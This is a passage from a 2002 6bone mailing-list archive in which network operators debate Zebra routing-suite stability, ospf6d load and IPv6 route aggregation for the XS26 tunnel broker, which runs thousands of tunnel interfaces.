
BTW, we didn't decide on the license yet. Also, the software switch will
greatly simplify our current distributed operation and will allow us to
implement much more simply features like user BGP peering and dial-up tunnels.
Oh, I mentioned that already...

> |    Even after starting up our BGP implementation we will announce only our
> | prefix (we won't provide transit) for some time, while we will be testing it
> | carefully. We expect to proceed with re-establishment of the BGP peerings
> | slowly and carefully, as we don't want to harm connectivity of other sites or
> | pollute the global BGP table with bogus entries. Also, we will take this
> | opportunity and give full-transit only to those who will actually want it
> | explicitly.
> Good luck with your BGP implementation! I'll surely notify you if I see
> anything strange from the AS's I maintain.

Thanks!

Kind regards,

-- 
 
				Petr "Pasky" Baudis
				(and Jan "WSX" Oravec ;-)
.
> I don't know why people still want ACL's. There were noises about them for
> samba, but I'v enot heard anything since. Are vendors using this?
Because People Are Stupid(tm).  Because it's cheaper to put "ACL support: yes"
in the feature list under "Security" than to make sure than userland can cope
with anything more complex than  "Me Og.  Og see directory.  Directory Og's.
Nobody change it".  C.f. snake oil, P.T.Barnum and esp. LSM users
        -- Al Viro
.
Crap: http://pasky.ji.cz/

From bortzmeyer@gitoyen.net Mon Dec 16 12:30:11 2002
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From: Stephane Bortzmeyer <bortzmeyer@gitoyen.net>
To: Petr Baudis <pasky@xs26.net>
Cc: Pim van Pelt <pim@ipng.nl>, 6bone@mailman.isi.edu, xs26@xs26.net
Subject: Re: [6bone] [NOTIFY] XS26 service/peering outage 
In-reply-to: <20021216170347.GP8732@pasky.ji.cz> 
     (Petr Baudis <pasky@xs26.net>'s message of 
     Mon, 16 Dec 2002 18:03:47 +0100)
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On Monday 16 December 2002, at 18 h 3, 
Petr Baudis <pasky@xs26.net> wrote:

> and bgpd. Apart random crashes in various time periods (from few minutes to
> weeks) 

A funny things about distributed systems is the difference in testimonies :-) 
We never had a Zebra crash.

> connections), we experienced problems with syncing of kernel and zebra's
> routing tables,

We have similar problems, too.

> problems, especially on FreeBSD we had visibly more problems than on ie. Linux.

I do not have personal experience with Zebra on FreeBSD but, on the Zebra 
mailing list, you can clearly see there are far more FreeBSD users than Linux 
ones so I doubt that Zebra is much worse on FreeBSD.

> Basically, zebra looks not to be prepared for the networks which change very
> dynamically (our iBGP table changes very frequently as user prefixes appear and
> disappear; it's also relatively big (in the 6bone world, at least ;) 

We use Zebra for default-free routers on the IPv4 Internet. The 6 bone is a 
very small experiment when you compare it to the always-changing 100k routes 
of the IPv4 Internet.




From andrew@asol.com.ph Mon Dec 16 16:54:20 2002
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From: "Madrigallos, Andrew G." <andrew@asol.com.ph>
To: "Stephane Bortzmeyer" <bortzmeyer@gitoyen.net>,
   "Petr Baudis" <pasky@xs26.net>
Cc: "Pim van Pelt" <pim@ipng.nl>, <6bone@mailman.isi.edu>, <xs26@xs26.net>
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Subject: Re: [6bone] [NOTIFY] XS26 service/peering outage 
Date: Tue, 17 Dec 2002 08:53:16 +0800
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I'm using FreeBSD with zebra software but I never had a problem using it =
on IPv6, I also use FreeBSD with zebra on a EBGP connection on IPv4.

Andrew
  ----- Original Message -----=20
  From: Stephane Bortzmeyer=20
  To: Petr Baudis=20
  Cc: Pim van Pelt ; 6bone@mailman.isi.edu ; xs26@xs26.net=20
  Sent: Tuesday, December 17, 2002 4:26 Andrew
  Subject: Re: [6bone] [NOTIFY] XS26 service/peering outage=20


  On Monday 16 December 2002, at 18 h 3,=20
  Petr Baudis <pasky@xs26.net> wrote:

  > and bgpd. Apart random crashes in various time periods (from few =
minutes to
  > weeks)=20

  A funny things about distributed systems is the difference in =
testimonies :-)=20
  We never had a Zebra crash.

  > connections), we experienced problems with syncing of kernel and =
zebra's
  > routing tables,

  We have similar problems, too.

  > problems, especially on FreeBSD we had visibly more problems than on =
ie. Linux.

  I do not have personal experience with Zebra on FreeBSD but, on the =
Zebra=20
  mailing list, you can clearly see there are far more FreeBSD users =
than Linux=20
  ones so I doubt that Zebra is much worse on FreeBSD.

  > Basically, zebra looks not to be prepared for the networks which =
change very
  > dynamically (our iBGP table changes very frequently as user prefixes =
appear and
  > disappear; it's also relatively big (in the 6bone world, at least ;) =


  We use Zebra for default-free routers on the IPv4 Internet. The 6 bone =
is a=20
  very small experiment when you compare it to the always-changing 100k =
routes=20
  of the IPv4 Internet.



  _______________________________________________
  6bone mailing list
  6bone@mailman.isi.edu
  http://mailman.isi.edu/mailman/listinfo/6bone


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<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META http-equiv=3DContent-Type content=3D"text/html; =
charset=3Diso-8859-1">
<META content=3D"MSHTML 6.00.2600.0" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT size=3D2>I'm using FreeBSD with zebra software but I never =
had a=20
problem using it on IPv6, I also use FreeBSD with zebra on a EBGP =
connection on=20
IPv4.</FONT></DIV>
<DIV><FONT size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT size=3D2>Andrew</FONT></DIV>
<BLOCKQUOTE=20
style=3D"PADDING-RIGHT: 0px; PADDING-LEFT: 5px; MARGIN-LEFT: 5px; =
BORDER-LEFT: #000000 2px solid; MARGIN-RIGHT: 0px">
  <DIV style=3D"FONT: 10pt arial">----- Original Message ----- </DIV>
  <DIV=20
  style=3D"BACKGROUND: #e4e4e4; FONT: 10pt arial; font-color: =
black"><B>From:</B>=20
  <A title=3Dbortzmeyer@gitoyen.net =
href=3D"mailto:bortzmeyer@gitoyen.net">Stephane=20
  Bortzmeyer</A> </DIV>
  <DIV style=3D"FONT: 10pt arial"><B>To:</B> <A title=3Dpasky@xs26.net=20
  href=3D"mailto:pasky@xs26.net">Petr Baudis</A> </DIV>
  <DIV style=3D"FONT: 10pt arial"><B>Cc:</B> <A title=3Dpim@ipng.nl=20
  href=3D"mailto:pim@ipng.nl">Pim van Pelt</A> ; <A =
title=3D6bone@mailman.isi.edu=20
  href=3D"mailto:6bone@mailman.isi.edu">6bone@mailman.isi.edu</A> ; <A=20
  title=3Dxs26@xs26.net href=3D"mailto:xs26@xs26.net">xs26@xs26.net</A> =
</DIV>
  <DIV style=3D"FONT: 10pt arial"><B>Sent:</B> Tuesday, December 17, =
2002 4:26=20
  Andrew</DIV>
  <DIV style=3D"FONT: 10pt arial"><B>Subject:</B> Re: [6bone] [NOTIFY] =
XS26=20
  service/peering outage </DIV>
  <DIV><BR></DIV>On Monday 16 December 2002, at 18 h 3, <BR>Petr Baudis =
&lt;<A=20
  href=3D"mailto:pasky@xs26.net">pasky@xs26.net</A>&gt; =
wrote:<BR><BR>&gt; and=20
  bgpd. Apart random crashes in various time periods (from few minutes=20
  to<BR>&gt; weeks) <BR><BR>A funny things about distributed systems is =
the=20
  difference in testimonies :-) <BR>We never had a Zebra =
crash.<BR><BR>&gt;=20
  connections), we experienced problems with syncing of kernel and=20
  zebra's<BR>&gt; routing tables,<BR><BR>We have similar problems,=20
  too.<BR><BR>&gt; problems, especially on FreeBSD we had visibly more =
problems=20
  than on ie. Linux.<BR><BR>I do not have personal experience with Zebra =
on=20
  FreeBSD but, on the Zebra <BR>mailing list, you can clearly see there =
are far=20
  more FreeBSD users than Linux <BR>ones so I doubt that Zebra is much =
worse on=20
  FreeBSD.<BR><BR>&gt; Basically, zebra looks not to be prepared for the =

  networks which change very<BR>&gt; dynamically (our iBGP table changes =
very=20
  frequently as user prefixes appear and<BR>&gt; disappear; it's also =
relatively=20
  big (in the 6bone world, at least ;) <BR><BR>We use Zebra for =
default-free=20
  routers on the IPv4 Internet. The 6 bone is a <BR>very small =
experiment when=20
  you compare it to the always-changing 100k routes <BR>of the IPv4=20
  =
Internet.<BR><BR><BR><BR>_______________________________________________<=
BR>6bone=20
  mailing list<BR><A=20
  href=3D"mailto:6bone@mailman.isi.edu">6bone@mailman.isi.edu</A><BR><A=20
  =
href=3D"http://mailman.isi.edu/mailman/listinfo/6bone">http://mailman.isi=
.edu/mailman/listinfo/6bone</A><BR></BLOCKQUOTE></BODY></HTML>

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From wsx@6com.sk Tue Dec 17 02:14:57 2002
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Date: Tue, 17 Dec 2002 11:14:53 +0100
From: Jan Oravec <jan.oravec@6com.sk>
To: Stephane Bortzmeyer <bortzmeyer@gitoyen.net>
Cc: Petr Baudis <pasky@xs26.net>, Pim van Pelt <pim@ipng.nl>,
   6bone@mailman.isi.edu, xs26@xs26.net
Subject: Re: [6bone] [NOTIFY] XS26 service/peering outage
Message-ID: <20021217101453.GA28421@wsx.ksp.sk>
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On Mon, Dec 16, 2002 at 09:26:00PM +0100, Stephane Bortzmeyer wrote:
> On Monday 16 December 2002, at 18 h 3, 
> Petr Baudis <pasky@xs26.net> wrote:
> 
> > and bgpd. Apart random crashes in various time periods (from few minutes to
> > weeks) 
> 
> A funny things about distributed systems is the difference in testimonies :-) 
> We never had a Zebra crash.

You were probably never running zebra on router with 2048 interfaces, having
2k static routes redistributed into BGP, 10k internal BGP routes, about 200
prefixes in IGP and about 300 external BGP routes.

The result: CPU time of ospf6d reached sometimes ~100%, zebra was unable to
save config files, zebra sometimes freezed for 5 minutes or so making ospf6d
and bgpd also freeze, sometimes something crashed and so on.

Zebra is not ready for production networks.

> > problems, especially on FreeBSD we had visibly more problems than on ie. Linux.
> 
> I do not have personal experience with Zebra on FreeBSD but, on the Zebra 
> mailing list, you can clearly see there are far more FreeBSD users than Linux 
> ones so I doubt that Zebra is much worse on FreeBSD.

e.g. this one FreeBSD-only bug: you create interface in the system and in
order to zebra know about it, you have to restart zebra completely...
imagine doing 100 such changes a day... your BGP peers won't like you :)...
fortunatelly we have found an ugly way how to solve this...


> > Basically, zebra looks not to be prepared for the networks which change very
> > dynamically (our iBGP table changes very frequently as user prefixes appear and
> > disappear; it's also relatively big (in the 6bone world, at least ;) 
> 
> We use Zebra for default-free routers on the IPv4 Internet. The 6 bone is a 
> very small experiment when you compare it to the always-changing 100k routes 
> of the IPv4 Internet.

We have 10k always-changing routes in the IPv6. BGP implementation is
relatively good if you don't dynamically add/remove interfaces.

We are not saying zebra is bad, we just say it is not usable in our
environment.


Best Regards,

-- 
Jan Oravec                           XS26 coordinator
6COM s.r.o.                          'Access to IPv6'
http://www.6com.sk                   http://www.xs26.net
+421-903-316905

From bortzmeyer@nic.fr Tue Dec 17 02:33:32 2002
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From: Stephane Bortzmeyer <bortzmeyer@gitoyen.net>
To: Jan Oravec <jan.oravec@6com.sk>
Cc: Stephane Bortzmeyer <bortzmeyer@gitoyen.net>, Petr Baudis <pasky@xs26.net>,
   Pim van Pelt <pim@ipng.nl>, 6bone@mailman.isi.edu, xs26@xs26.net
Subject: Re: [6bone] [NOTIFY] XS26 service/peering outage
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On Tue, Dec 17, 2002 at 11:14:53AM +0100,
 Jan Oravec <jan.oravec@6com.sk> wrote 
 a message of 54 lines which said:

> You were probably never running zebra on router with 2048
> interfaces,

Thanks God, no.

> Zebra is not ready for production networks.

Proof of falseness: many production (i.e. not the 6bone) networks use
it.
 
> We are not saying zebra is bad, we just say it is not usable in our
> environment.

Yes, in *your* environment (most production routers have only < 10
interfaces, all of them physical, so adding or removing one on a PC
makes the router restarts, anyway).


From tvo@EnterZone.Net Tue Dec 17 11:04:56 2002
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From: John Fraizer <tvo@EnterZone.Net>
To: Jan Oravec <jan.oravec@6com.sk>
cc: 6bone@mailman.isi.edu
Subject: Re: [6bone] [NOTIFY] XS26 service/peering outage
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On Tue, 17 Dec 2002, Jan Oravec wrote:

> On Mon, Dec 16, 2002 at 09:26:00PM +0100, Stephane Bortzmeyer wrote:
> > On Monday 16 December 2002, at 18 h 3, 
> > Petr Baudis <pasky@xs26.net> wrote:
> > 
> > > and bgpd. Apart random crashes in various time periods (from few minutes to
> > > weeks) 
> > 
> > A funny things about distributed systems is the difference in testimonies :-) 
> > We never had a Zebra crash.
> 
> You were probably never running zebra on router with 2048 interfaces, having
> 2k static routes redistributed into BGP, 10k internal BGP routes, about 200
> prefixes in IGP and about 300 external BGP routes.

Find me, outside of 6bone, *ANY* quasi-production router, I'm talking
about on the entire planet, that has 2048 interfaces.

This sounds like more a problem of you should be splitting that interface
load between many routers than one of there being a problem with Zebra.

> The result: CPU time of ospf6d reached sometimes ~100%, zebra was unable to
> save config files, zebra sometimes freezed for 5 minutes or so making ospf6d
> and bgpd also freeze, sometimes something crashed and so on.

I don't doubt it.  Have you tried to do the same on a 7513?  I'll bet a
dollar to a doughnut that it will croak on that interface count as well
and that the SPF calculation will take forever, delaying convergence, and
that it will burn proc like it was going out of style.

> 
> Zebra is not ready for production networks.
> 

I beg to differ.  Your "network" from what ou've described, is
under-engineered.  What was the purpose again of terminating 2000+
endpoints on a single router again?  You can't seriously think that any
true production (BTW: most of us consider production to be equal to
billable) network architect would put that many eggs in one basket can
you?


> > > problems, especially on FreeBSD we had visibly more problems than on ie. Linux.
> > 
> > I do not have personal experience with Zebra on FreeBSD but, on the Zebra 
> > mailing list, you can clearly see there are far more FreeBSD users than Linux 
> > ones so I doubt that Zebra is much worse on FreeBSD.
> 
> e.g. this one FreeBSD-only bug: you create interface in the system and in
> order to zebra know about it, you have to restart zebra completely...
> imagine doing 100 such changes a day... your BGP peers won't like you :)...
> fortunatelly we have found an ugly way how to solve this...
> 

Jan, forgive me if I'm wrong but, I don't recall seeing you post about
this problem on the Zebra mailing list.  If you did, can you reference the
archive?  


> 
> > > Basically, zebra looks not to be prepared for the networks which change very
> > > dynamically (our iBGP table changes very frequently as user prefixes appear and
> > > disappear; it's also relatively big (in the 6bone world, at least ;) 
> > 
> > We use Zebra for default-free routers on the IPv4 Internet. The 6 bone is a 
> > very small experiment when you compare it to the always-changing 100k routes 
> > of the IPv4 Internet.
> 
> We have 10k always-changing routes in the IPv6. BGP implementation is
> relatively good if you don't dynamically add/remove interfaces.
> 

Again, that sounds like an implementation issue in your network.

Let us assume you are routing out of 5 cities (example)

Router-1
3ffe:80e0:0000::/36

Router-2
3ffe:80e0:1000::/36

Router-3
3ffe:80e0:2000::/36

Router-4
3ffe:80e0:3000::/36

Router-5
3ffe:80e0:4000::/36


All of these routers can announce your aggregate 3ffe:80e0::/28 to their
eBGP peers while announcing the specific "pool" /36 they assing tunnel
space from into iBGP/IGP.

An IGP route to 3ffe:80e0:0000::/36 will still attract traffic destined to
3ffe:80e0:0fff::/48 and there is no need for the more specific ::/48 route
in the IGP or via iBGP announcement to the other routers in the AS.

If you are not assigning each router a "pool" from which you assign tunnel
space, NLA assignments, etc from, you are making your network topology
much more complicated than it needs to be.

The interface problem is another story but again, as you stated, it is an
issue with freebds and NOT one with Zebra. I the OS doesn't properly
report interface changes, you can't expect Zebra to keep up.


> We are not saying zebra is bad, we just say it is not usable in our
> environment.

Actually, you did say that Zebra was bad.  You didn't use those words but,
it was abundantly clear that you were implying that it was bad.

I would like to stress that I don't know of any routing suite that is
going to be happy in the environment I'm picturing based on your
description of your network topology.  Perhaps you might look into that a
bit.


---
John Fraizer              | High-Security Datacenter Services |
President                 | Dedicated circuits 64k - 155M OC3 |
EnterZone, Inc            | Virtual, Dedicated, Colocation    |
http://www.enterzone.net/ | Network Consulting Services       |



From jesper@skriver.dk Tue Dec 17 11:36:07 2002
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To: John Fraizer <tvo@EnterZone.Net>
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Subject: Re: [6bone] [NOTIFY] XS26 service/peering outage
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On Tue, Dec 17, 2002 at 02:04:41PM -0500, John Fraizer wrote:

> On Tue, 17 Dec 2002, Jan Oravec wrote:
>
> > On Mon, Dec 16, 2002 at 09:26:00PM +0100, Stephane Bortzmeyer wrote:
> >
> > > On Monday 16 December 2002, at 18 h 3, Petr Baudis
> > > <pasky@xs26.net> wrote:
> > >
> > > > and bgpd. Apart random crashes in various time periods (from few
> > > > minutes to weeks)
> > >
> > > A funny things about distributed systems is the difference in
> > > testimonies :-) We never had a Zebra crash.
> >
> > You were probably never running zebra on router with 2048
> > interfaces, having 2k static routes redistributed into BGP, 10k
> > internal BGP routes, about 200 prefixes in IGP and about 300
> > external BGP routes.
>
> Find me, outside of 6bone, *ANY* quasi-production router, I'm talking
> about on the entire planet, that has 2048 interfaces.

That is easily doable on a dial or DSL aggregation router ...

We have several boxes with more than 5000 interfaces.

/Jesper

-- 
Jesper Skriver, jesper(at)skriver(dot)dk  -  CCIE #5456
Senior network engineer @ AS3292, TDC Tele Danmark

One Unix to rule them all, One Resolver to find them,
One IP to bring them all and in the zone to bind them.

From gert@Space.Net Tue Dec 17 11:50:45 2002
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Hi,

On Tue, Dec 17, 2002 at 02:04:41PM -0500, John Fraizer wrote:
> > You were probably never running zebra on router with 2048 interfaces, having
> > 2k static routes redistributed into BGP, 10k internal BGP routes, about 200
> > prefixes in IGP and about 300 external BGP routes.
> 
> Find me, outside of 6bone, *ANY* quasi-production router, I'm talking
> about on the entire planet, that has 2048 interfaces.

Not *that* unusual for ATM VC or L2TP terminating equipment.  Very high,
but for big DSL ISPs, quite well possible.

Gert Doering
        -- NetMaster
-- 
Total number of prefixes smaller than registry allocations:  54423  (54255)

SpaceNet AG                 Mail: netmaster@Space.Net
Joseph-Dollinger-Bogen 14   Tel : +49-89-32356-0
80807 Muenchen              Fax : +49-89-32356-299


From pekkas@netcore.fi Tue Dec 17 12:39:46 2002
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From: Pekka Savola <pekkas@netcore.fi>
To: John Fraizer <tvo@EnterZone.Net>
cc: Jan Oravec <jan.oravec@6com.sk>, <6bone@mailman.isi.edu>
Subject: Re: [6bone] [NOTIFY] XS26 service/peering outage
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On Tue, 17 Dec 2002, John Fraizer wrote:
> I beg to differ.  Your "network" from what ou've described, is
> under-engineered.  What was the purpose again of terminating 2000+
> endpoints on a single router again?  You can't seriously think that any
> true production (BTW: most of us consider production to be equal to
> billable) network architect would put that many eggs in one basket can
> you?

I'm not sure if 2000+ endpoints is _necessarily_ a bad thing, but ... if 
you really want to route them reliably, I'd put them in a separate box 
with only an aggregate route out to the real non-terminating router.

2000+ highly dynamic interfaces, each causing IGP/EGP recalculations is
umm.. BAD.

-- 
Pekka Savola                 "Tell me of difficulties surmounted,
Netcore Oy                   not those you stumble over and fall"
Systems. Networks. Security.  -- Robert Jordan: A Crown of Swords


From bortzmeyer@gitoyen.net Tue Dec 17 13:08:43 2002
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Subject: Re: [6bone] [NOTIFY] XS26 service/peering outage 
In-reply-to: <Pine.LNX.4.21.0212171338350.12432-100000@Overkill.EnterZone.Net>
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On Tuesday 17 December 2002, at 14 h 4, 
John Fraizer <tvo@EnterZone.Net> wrote:

> Let us assume you are routing out of 5 cities (example)
> 
> Router-1
> 3ffe:80e0:0000::/36
> 
> Router-2
> 3ffe:80e0:1000::/36
...
> All of these routers can announce your aggregate 3ffe:80e0::/28 to their
> eBGP peers while announcing the specific "pool" /36 they assing tunnel
> space from into iBGP/IGP.

The main problem with this addressing scheme is that your customers will have to renumber if they move to another city.

May be unavoidable but nevertheless annoying.



From tvo@EnterZone.Net Tue Dec 17 13:15:54 2002
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From: John Fraizer <tvo@EnterZone.Net>
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cc: Jan Oravec <jan.oravec@6com.sk>, 6bone@mailman.isi.edu
Subject: Re: [6bone] [NOTIFY] XS26 service/peering outage 
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On Tue, 17 Dec 2002, Stephane Bortzmeyer wrote:

> On Tuesday 17 December 2002, at 14 h 4, 
> John Fraizer <tvo@EnterZone.Net> wrote:
> 
> > Let us assume you are routing out of 5 cities (example)
> > 
> > Router-1
> > 3ffe:80e0:0000::/36
> > 
> > Router-2
> > 3ffe:80e0:1000::/36
> ...
> > All of these routers can announce your aggregate 3ffe:80e0::/28 to their
> > eBGP peers while announcing the specific "pool" /36 they assing tunnel
> > space from into iBGP/IGP.
> 
> The main problem with this addressing scheme is that your customers
> will have to renumber if they move to another city.
> 
> May be unavoidable but nevertheless annoying.
> 

Lets see - They want free v6 service (we're talking about 6bone
here)...  They'll have to deal with the fact that routing policy dictates
that each city in the ASN has a block of addresses from the aggregate from
which space is assigned.

If they don't like it, they can get their own _portable_ address space.

Sorry.  I don't, nor will I ever, overcomplicate network topology when the
only "good" thing it yields is easy portability for non-paying
sunscribers.

Call me mean.

---
John Fraizer              | High-Security Datacenter Services |
President                 | Dedicated circuits 64k - 155M OC3 |
EnterZone, Inc            | Virtual, Dedicated, Colocation    |
http://www.enterzone.net/ | Network Consulting Services       |



From pekkas@netcore.fi Tue Dec 17 13:47:44 2002
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From: Pekka Savola <pekkas@netcore.fi>
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On Tue, 17 Dec 2002, Jesper Skriver wrote:
[...]
> That is easily doable on a dial or DSL aggregation router ...
> 
> We have several boxes with more than 5000 interfaces.

When a link goes up/down on one of those interfaces, does it trigger an 
IGP/EGP event?

Thought so... :-)

-- 
Pekka Savola                 "Tell me of difficulties surmounted,
Netcore Oy                   not those you stumble over and fall"
Systems. Networks. Security.  -- Robert Jordan: A Crown of Swords


From tvo@EnterZone.Net Tue Dec 17 14:06:15 2002
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On Tue, 17 Dec 2002, Pekka Savola wrote:

> On Tue, 17 Dec 2002, Jesper Skriver wrote:
> [...]
> > That is easily doable on a dial or DSL aggregation router ...
> > 
> > We have several boxes with more than 5000 interfaces.
> 
> When a link goes up/down on one of those interfaces, does it trigger an 
> IGP/EGP event?
> 
> Thought so... :-)
> 
> -- 
> Pekka Savola                 "Tell me of difficulties surmounted,


In most cases, no.

Think about it.  Why on earth would you want to carry 5000 prefixes in
your IGP/EGP when a single aggregate for each router will do?

Why on earth, beyond the possibility of a BGP peer at the end of one of
those DSL terminations (people do that?) would that effect your EGP?

You don't really carry those specifics in BGP do you?  If so, for what
reason?  If they're in your IGP, they're in your routing table.  There is
no reason to carry them in the EGP.

IMHO, if you didn't learn it from a BGP peer or didn't originate it with a
"network" statement in your BGP config, it doesn't belong in BGP.  BGP !=
IGP.


So, explain to me again why you are carrying all of those prefixes in:

(1) IGP when a single aggregate for the router "block" will do.

(2) EGP (BGP)

I understand the having many, many interfaces will be the norm for tunnel
brokers, DSLAMs, etc.  Having many, many IGP prefixes and thrash as result
of those many many interfaces is NOT a requirement though, if you _design_
your network appropriately for the task you are requireing of it. 


---
John Fraizer              | High-Security Datacenter Services |
President                 | Dedicated circuits 64k - 155M OC3 |
EnterZone, Inc            | Virtual, Dedicated, Colocation    |
http://www.enterzone.net/ | Network Consulting Services       |



From michel@arneill-py.sacramento.ca.us Tue Dec 17 19:27:26 2002
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> John Fraizier wrote:
> Find me, outside of 6bone, *ANY* quasi-production
> router, I'm talking about on the entire planet, that
> has 2048 interfaces.

I don't know on which planet you live but on Earth this is quite common
with Cisco access servers, for example. 2K interfaces is actually not a
lot from the management perspective, on a loaded 5800 it could be much
more.

Michel.


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| Lets see - They want free v6 service (we're talking about 6bone
| here)...  They'll have to deal with the fact that routing policy dictates
| that each city in the ASN has a block of addresses from the aggregate from
| which space is assigned.
| 
| If they don't like it, they can get their own _portable_ address space.
| 
| Sorry.  I don't, nor will I ever, overcomplicate network topology when the
| only "good" thing it yields is easy portability for non-paying
| sunscribers.
Here's an important difference between you (and me) on the one hand, and
XS26 people on the other hand. They have set out to have a /48 per
person, and let them migrate these prefixes between cities, indeed. This
way, nobody has to renumber.

Mind you, a tunnel up/down event (gif or sit), did not trigger SPF
recalculations when I tried it back in 1999. This might have changed in
the meanwhile.

Coming back to the original post, I too have seen Zebra forget to write
routing updates to the kernel, so that the bgpd's view on the FIB was 
different to the kernel's view on the FIB. That sucked, and only an
entire restart of bgpd solved this. I consider it a bug in zebra, but
a rare one which only surfaced like, once in the last two years.

Anyway, good luck with your new routing suite, perhaps you can
opensource it so other people can learn from it!

groet,
Pim
--
---------- - -    - - -+- - -    - - ----------
Pim van Pelt                 Email: pim@ipng.nl
http://www.ipng.nl/             IPv6 Deployment
-----------------------------------------------

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On Tue, Dec 17, 2002 at 05:06:00PM -0500, John Fraizer wrote:

> In most cases, no.
>
> Think about it.  Why on earth would you want to carry 5000 prefixes in
> your IGP/EGP when a single aggregate for each router will do?
>
> Why on earth, beyond the possibility of a BGP peer at the end of one
> of those DSL terminations (people do that?) would that effect your
> EGP?
>
> You don't really carry those specifics in BGP do you?

Ofcause I do, my IGP is strictly for carrying loopback addresses, used
for (i)BGP next-hop's, everything else is in BGP.

> If so, for what reason?  If they're in your IGP, they're in your
> routing table.  There is no reason to carry them in the EGP.

You want your IGP to be stable and fast, thus you don't want to carry
customer routes in your IGP.

> IMHO, if you didn't learn it from a BGP peer or didn't originate it
> with a "network" statement in your BGP config, it doesn't belong in
> BGP.  BGP != IGP.

Se above, which is what most large service providers do.

/Jesper

-- 
Jesper Skriver, jesper(at)skriver(dot)dk  -  CCIE #5456
Senior network engineer @ AS3292, TDC Tele Danmark

One Unix to rule them all, One Resolver to find them,
One IP to bring them all and in the zone to bind them.

From yasu@sfc.wide.ad.jp Wed Dec 18 01:51:35 2002
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To: jan.oravec@6com.sk
Cc: bortzmeyer@gitoyen.net, pasky@xs26.net, pim@ipng.nl, 6bone@mailman.isi.edu,
   xs26@xs26.net
Subject: Re: [6bone] [NOTIFY] XS26 service/peering outage
From: Yasuhiro Ohara <yasu@sfc.wide.ad.jp>
In-Reply-To: <20021217101453.GA28421@wsx.ksp.sk>
References: <20021216170347.GP8732@pasky.ji.cz>
	<200212162026.gBGKQ0QW009099@ludwigV.sources.org>
	<20021217101453.GA28421@wsx.ksp.sk>
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> You were probably never running zebra on router with 2048 interfaces, having
> 2k static routes redistributed into BGP, 10k internal BGP routes, about 200
> prefixes in IGP and about 300 external BGP routes.
> 
> The result: CPU time of ospf6d reached sometimes ~100%, zebra was unable to
> save config files, zebra sometimes freezed for 5 minutes or so making ospf6d
> and bgpd also freeze, sometimes something crashed and so on.
> 
> Zebra is not ready for production networks.

Ok, it will be the problem of ospf6d, not bgpd. Current Zebra ospf6d
lacks some support, that needed in this case may be multiple Router-LSA
origination by one router. ospf6d cannot originate it that way and cannot
calculate them originated from the other router that way.

Another concern I have is that in the SPF calculation, ospf6d uses
simple insert sort of sequential list. LSDB lookup is now using
patricia tree (lib/table.[ch]) and should not be a problem.
Both is related to the size of the network (not related to the interface
 number each router has).

I guess, bgpd has no problem in your case. My take is that either ospf6d
interferes the bgpd from working correct, or it it just a file descriptor
limit problem. File descriptor problem is the one we WIDE Project
experienced and it came just fine when we change the file descriptor limit
bigger in the OS configuration.

Also the problem you encounter will be none of OSPFv3 protocol problem.
But I'm interested in your IGP, is it link-state ?

I plan to rewrite ospf6d to have it full support of OSPFv3 and other
OSPF extentions by the end of Apr 2003. This time I'm serious ;p)

regards,
yasu



From kim@tac.nyc.ny.us Wed Dec 18 05:41:09 2002
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To: Pim van Pelt <pim@ipng.nl>
Cc: John Fraizer <tvo@EnterZone.Net>,
   Stephane Bortzmeyer <bortzmeyer@gitoyen.net>,
   Jan Oravec <jan.oravec@6com.sk>, 6bone@mailman.isi.edu
Subject: Re: [6bone] zebra/bgpd/kernel sync
In-Reply-To: <20021218080002.GA14597@bfib.colo.bit.nl>
 from Pim van Pelt on Wed, 18 Dec 2002 09:00:02 +0100
References: <200212172108.gBHL8IqZ008976@ludwigV.sources.org> <Pine.LNX.4.21.0212171612100.13875-100000@Overkill.EnterZone.Net> <20021218080002.GA14597@bfib.colo.bit.nl>
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I've seen this happen occasionally, too, on its own.  But a sure way to
cause this problem seems to be restarting bgpd without restarting zebra.
Now I always make sure to

    kill bgpd
    kill zebra
    start zebra
    start bgpd

This problem did not exist with the earliest zebra version I've run...

Regards,
+ Kim


| From:    Pim van Pelt <pim@ipng.nl>
| Date:    Wed, 18 Dec 2002 09:00:02 +0100
|
| Coming back to the original post, I too have seen Zebra forget to write
| routing updates to the kernel, so that the bgpd's view on the FIB was
| different to the kernel's view on the FIB. That sucked, and only an
| entire restart of bgpd solved this. I consider it a bug in zebra, but
| a rare one which only surfaced like, once in the last two years.

From pasky@machine.sinus.cz Wed Dec 18 08:07:38 2002
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From: Petr Baudis <pasky@xs26.net>
To: John Fraizer <tvo@EnterZone.Net>
Cc: Jan Oravec <jan.oravec@6com.sk>, 6bone@mailman.isi.edu
Subject: Re: [6bone] [NOTIFY] XS26 service/peering outage
Message-ID: <20021218160730.GU8732@pasky.ji.cz>
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Dear diary, on Tue, Dec 17, 2002 at 08:04:41PM CET, I got a letter,
where John Fraizer <tvo@EnterZone.Net> told me, that...
> On Tue, 17 Dec 2002, Jan Oravec wrote:
> > On Mon, Dec 16, 2002 at 09:26:00PM +0100, Stephane Bortzmeyer wrote:
> > > On Monday 16 December 2002, at 18 h 3, 
> > > Petr Baudis <pasky@xs26.net> wrote:
> > > 
> > > > and bgpd. Apart random crashes in various time periods (from few minutes to
> > > > weeks) 
> > > 
> > > A funny things about distributed systems is the difference in testimonies :-) 
> > > We never had a Zebra crash.
> > 
> > You were probably never running zebra on router with 2048 interfaces, having
> > 2k static routes redistributed into BGP, 10k internal BGP routes, about 200
> > prefixes in IGP and about 300 external BGP routes.
> 
> Find me, outside of 6bone, *ANY* quasi-production router, I'm talking
> about on the entire planet, that has 2048 interfaces.
> 
> This sounds like more a problem of you should be splitting that interface
> load between many routers than one of there being a problem with Zebra.

Please let me describe what XS26 is:

We're a so-called distributed tunnel broker. That is, we provide unified web
interface for user, where she can create certain set of tunnels through
different PoPs (few in Europe, one in US) and then register a /48 zone and
route it through the tunnel (usually only one of them, but she can also let it
be routed through several tunnels on different PoPs).

Inevitably, there is much higher number of people wanting a tunnel than those
donating us a server to act as a PoP. Thus, on each PoP there will be a large
number of tunnel interfaces; those better connected will also obviously have
larger number of tunnel interfaces allocated than those with worse
connectivity.

It is kind of difficult to split that interface load between many routers as we
do not have many routers. We don't make any money, we don't eat any money, all
the PoPs are volunteered by various companies and/or people (usually network
admins of that companies) interested in helping with the IPv6 deployment.
Obviously, you are welcomed to help us with this splitting of the load... ;-)

..snip..
> > Zebra is not ready for production networks.
> > 
> 
> I beg to differ.  Your "network" from what ou've described, is
> under-engineered.  What was the purpose again of terminating 2000+
